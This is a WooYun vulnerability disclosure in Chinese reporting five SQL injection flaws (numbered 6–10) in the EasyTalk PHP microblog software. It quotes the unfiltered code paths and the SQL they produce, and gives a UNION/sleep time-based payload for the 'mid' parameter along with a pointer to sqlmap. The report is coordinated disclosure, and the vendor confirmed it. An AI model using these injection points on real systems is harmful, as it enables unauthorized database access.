当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050344

漏洞标题:EasyTalk Sql Injection 6-10

相关厂商:nextsns.com

漏洞作者: ′雨。

提交时间:2014-02-09 10:30

修复时间:2014-05-10 10:31

公开时间:2014-05-10 10:31

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-09: 细节已通知厂商并且等待厂商处理中
2014-02-09: 厂商已经确认,细节仅向厂商公开
2014-02-12: 细节向第三方安全合作伙伴开放
2014-04-05: 细节向核心白帽子及相关领域专家公开
2014-04-15: 细节向普通白帽子公开
2014-04-25: 细节向实习白帽子公开
2014-05-10: 细节向公众公开

简要描述:

过滤不严。

详细说明:

注入6:
在apiaction.class.php中

public function userpreview() {
$username=trim(rawurldecode($this->_post('username')));
if ($username) {
parent::init();
$user = M('Users')->where("user_name='$username'")->find();
if ($user) {
if ($user['cityid']) {//用户所在地
$dtModel=M('District');
$pdata = $dtModel->where("id='$user[cityid]'")->find();
$pdata2 = $dtModel->where("id='$pdata[upid]'")->find();
$user['live_city']=$pdata2['name'].' '.$pdata['name'];
}
$isfriend=D('Friend')->followstatus($user['user_id'],$this->my['user_id']);


$username
无过滤 且解码。
然后带入查询
$user = M('Users')->where("user_name='$username'")->find();
where user_name='username'
SELECT * FROM `et_users` WHERE user_name='admin' LIMIT 1
执行的语句 构造一下

X}U8~O{{FKOY@JC0OY3MEKB.jpg


注入成功 有图 有真相。
注入7:
在appaction.class.php中

public function myapps() {
parent::tologin();
import("@.ORG.Page");
C('PAGE_NUMBERS',10);
$pvmodel=D('MyappsView');
$keyword=htmlspecialchars(trim($_REQUEST['keyword']));

if (!$keyword) {
$count=M('Myapps')->where("user_id='".$this->my['user_id']."'")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=myapps&p=");
$myapp=$pvmodel->where("user_id='".$this->my['user_id']."'")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
} else {
$count=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=myapps&keyword=$keyword&p=");
$myapp=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
}


$keyword=htmlspecialchars(trim($_REQUEST['keyword']));
实体化 对注入影响不大。
然后带入
$count=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->count();
SELECT COUNT(*) AS tp_count FROM et_myapps Myapps LEFT JOIN et_plugins Plugins ON Myapps.appid=Plugins.id WHERE name LIKE '%yu%' AND user_id='2' LIMIT 1
执行的语句 构造一下

%[RU[BANFF82D$~[CZ3~X(R.jpg


注入成功 有图有真相。
注入8:
在appmanageraction.class.php 中

public function init() {
$hookids=$_POST['hookids'];
if ($hookids) {
$mid=$_POST['mid'];
$_myapps=M('Myapps')->where("user_id='$mid'")->select();
if ($_myapps) {
foreach ($_myapps as $val) {
$myapps[$val['appid']]=1;
}
}


$mid=$_POST['mid'];
where user_id='$mid'
无过滤。 带入查询
$_myapps=M('Myapps')->where("user_id='$mid'")->select();
看执行的语句。SELECT * FROM `et_myapps` WHERE user_id='123'
构造一下。
mid=yu' union select sleep(10),2,3,4%23

1.jpg


执行的语句

2.jpg


成功延时
注入9:
在commentaction.class.php中

public function delmsg() {
$cmid=$_POST['cmid'];
if (is_array($cmid)) {
$cids=implode(',',$cmid);
M('Comments')->where("comment_id IN ($cids) AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
} else if (is_numeric($cmid)) {
M('Comments')->where("comment_id='$cmid' AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
}
echo json_encode(array("ret"=>'success',"tip"=>L('del_comment_success')));
}


$cmid=$_POST['cmid']; 无过滤
M('Comments')->where("comment_id IN ($cids) AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
带入
交给sqlmap把。

6E97S_EA)}KCN%2R_2MZFQR.jpg


注入成功 有图有真相 。
注入10:
在appaction.class.php 中
public function index() {

parent::tologin();
$appname=trim($this->_get('appname'));
$action=$this->_get('action');//直接调用方法
$app=M('Plugins')->where("directory='$appname' AND available=1")->find();
$this->assign('app',$app);
$appname 无过滤 且直接带入查询。
where directory='$appname'

1.jpg


所执行的语句

2.jpg

<
成功延时

3.jpg

漏洞证明:

修复方案:

加强过滤。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-09 16:34

厂商回复:

正在修复中

最新状态:

暂无


漏洞评价:

评论